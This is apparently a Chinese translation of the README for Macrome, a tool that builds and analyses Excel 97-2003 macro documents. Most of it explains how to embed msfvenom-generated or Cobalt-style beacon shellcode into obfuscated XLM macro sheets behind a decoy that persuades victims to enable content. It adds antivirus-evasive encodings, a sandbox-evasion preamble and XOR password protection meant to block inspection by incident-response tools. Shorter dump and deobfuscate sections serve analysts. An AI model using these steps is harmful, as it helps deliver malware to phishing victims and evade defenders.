用于红队和分析师的Excel宏文档读取器/写入器。关于此工具实际功能的博文可查阅这里和这里。

克隆或下载本仓库,然后可使用dotnet执行该工具——例如:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
或
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
请注意,此工具需要dotnet 5.0或更高版本才能按配置正常工作——可从 https://dotnet.microsoft.com/download/dotnet/5.0 获取。
无需dotnet即可运行的二进制发布版本(包含可执行文件)可在Windows、OSX和Linux的Release部分找到。
通过从解决方案目录运行 dotnet run,或针对已构建的Macrome二进制文件运行 dotnet 来启动Macrome。Macrome有三种操作模式:构建模式、转储模式和解混淆模式。
使用 build 命令运行Macrome,以生成包含混淆宏表的Excel文档,该文档使用提供的诱饵文档和宏载荷。运行 dotnet Macrome.dll build -h 可显示完整使用说明。
例如,要使用诱饵文档 path/to/decoy_document.xls 和存储在 path/to/shellcode.bin 中的二进制x86 shellcode构建文档,请运行 dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin。这将生成一个XLS 2003文档,打开并点击“启用内容”按钮后,将执行 shellcode.bin 中的shellcode。
其余文档将详细解释每个标志/功能,但Macrome目前提供的最新最佳功能可通过以下命令获得:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
首先生成一个基础的“诱饵”Excel文档,其中包含用户应看到的内容。这应该是一种诱饵,能说服用户点击Excel中显示的“启用宏”按钮。关于最新诱饵创建的一些示例可在 https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets- 找到。创建此工作表后,将文档保存为 Excel 97-2003 工作簿 (*.xls) 类型,而不是较新的 Excel 工作簿 (*.xlsx) 格式。/Docs/decoy_document.xls 中包含一个示例诱饵文档。请注意,如果使用XOR混淆保护文档,则当前无法在诱饵中添加图像。
接下来,生成一个shellcode载荷以提供给该工具。示例二进制载荷(弹出计算器)是使用 msfvenom 通过以下参数生成的:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
也支持64位载荷。示例64位载荷 popcalc64.bin 通过以下命令生成:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
然后可通过执行以下命令嵌入此载荷:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
目前,64位载荷需要同时提供x86载荷。如果这不成问题,可以只为x86载荷标志指定垃圾数据。
有最终支持直接在文档中嵌入.NET程序集的功能,但如果现在想这样做,建议使用EXCELntDonut。
从Macrome 0.5.0及以上版本开始,所有载荷都将以base64编码,因此载荷可以包含任何字节序列(包括空字节)。
如果希望使用Macrome嵌入.NET可执行文件,建议使用Donut 配合命令 donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe,然后将生成的载荷同时作为32位和64位载荷嵌入。
另一个可靠的替代品是Amber,它在嵌入相当大型的Go二进制文件方面效果很好。
如果出于某种原因希望使用Macrome 0.5.0之前的遗留载荷编码模式,请使用 --payload-method 标志并设置为 SheetPackingMethod。请注意,在遗留模式下,使用主要字母数字的载荷将减少生成的宏文件大小,因为用宏形式表达字母和数字比反复追加 CHAR 函数调用(如 =CHAR(123)&CHAR(124)&CHAR(125)... 等)更容易。但该工具也应能处理完全不可打印的二进制载荷。
与二进制载荷使用类似,首先必须生成一个诱饵文档。接下来,应创建一个包含要运行宏的文本文件。宏的列用 ; 字符分隔,行用换行符分隔。目前,指定的宏内容将从A1开始写入并执行——将来会添加支持以允许指定起始位置。示例宏可在 /Docs/macro_example.txt 和 /Docs/multi_column_macro_example.txt 中找到。
最后运行命令:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
注意使用了设置为 Macro 的 payload-type 标志。
您可以自己生成宏,也可以使用优秀的EXCELntDonut工具为您创建宏。
这些将在即将发布的博文中详细说明,但Macrome现在可以通过三种不同方式对宏载荷进行编码。其中大多数仍未被任何杀毒软件检测到——但请尝试您的载荷以找出最佳方式。
IF 和 SET.NAME 函数的长链来调用它,从而替代重复使用CHAR()函数。这是主流恶意文档作者尚未滥用的一种方法,因此目前不太可能触发杀毒软件。ROUND 函数中。通过使用构建时的 method 标志指定编码——例如,要使用 CharSubroutine 编码器:
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
有时您可能希望某些宏在载荷代码之前运行。这在添加用于沙箱逃逸和/或验证载荷是否在正确主机上运行的宏时很有帮助。
前导文件的格式与使用 payload-type Macro 时完全相同,但只支持单列。例如,您可以使用以下前导:
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
这将检查屏幕分辨率值、鼠标的存在以及播放声音的能力。如果其中任何一项失败,应用程序将在运行主载荷内容之前关闭。
此外,如果您希望前导宏立即求值(而不是在解包其余宏之后),可以在命令前加上 %%%%%。例如:
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())
这有助于在杀死文档前最小化执行的XLM命令数量,并有助于对沙箱指示器的存在做出更迅速的反应。
Macrome 0.3.0+ 支持使用XOR混淆(来自非常旧版本的Office的遗留加密模式)对文档进行密码保护。此加密模式通常不受IR工具支持,有助于保护文档内容免受检查。
Excel有一个“默认”密码 VelvetSweatshop,它允许您在加密文档内容的同时,使文档在打开时自动解密。这是在攻防对抗环境中使用XOR混淆的“理想”方式。Macrome在解混淆或转储文档时会自动尝试使用此密码。
要使用此功能,只需在构建命令中添加 --password <加密密码>。
使用 dump 命令运行Macrome,以打印任意文档中最相关的BIFF8记录。此功能类似于olevba的宏转储功能,但对边缘情况Ptg条目进行了更完整的处理,以确保格式尽可能接近Excel的实际FORMULA条目。我在调试使用此工具生成的一些奇怪边缘情况文档时使用了它,因此它相对健壮。但我确信目前仍有许多边缘情况不受支持,因此如果您发现一个无法正确转储内容的文档,请提交一个issue并将文档作为zip文件分享。
dump命令只需要一个指向目标文件的 path 参数。示例调用:
dotnet Macrome.dll dump --path docToDump.xls
dump 命令的大多数标志都是用于调试的,但 dump-hex-bytes 可能对希望查看相关记录单独字节载荷的用户有用。这类似于BiffView的功能,但默认情况下只会显示恶意文档特定的条目。
使用 deobfuscate 命令运行Macrome,以接收一个混淆的XLS二进制文档并尝试逆转多种反分析行为。dotnet Macrome.dll deobfuscate -h 将显示完整使用说明。目前,默认情况下此模式将:
Lbl 条目中手动指定的标签,这些标签会被Excel解释为Auto_Open条目,尽管其名称不匹配该字符串。例如,要对位于 path/to/obfuscated_file.xls 的恶意XLS 2003宏文件进行解混淆,运行 dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls。这将生成一个混淆文件的副本,使其更易于手动分析或使用工具分析。
注意:这目前还做不了太多事情,主要目的是演示如何使用修改后的b2xtranslator库帮助自动化解混淆。更多有用的功能即将推出。
非常感谢所有让我能够编写此工具的巨人们的肩膀。
b2xtranslator 库的原始作者以及EvolutionJobs更新并将其移植到dotnet的团队。此处使用的代码最初源自 https://github.com/EvolutionJobs/b2xtranslator。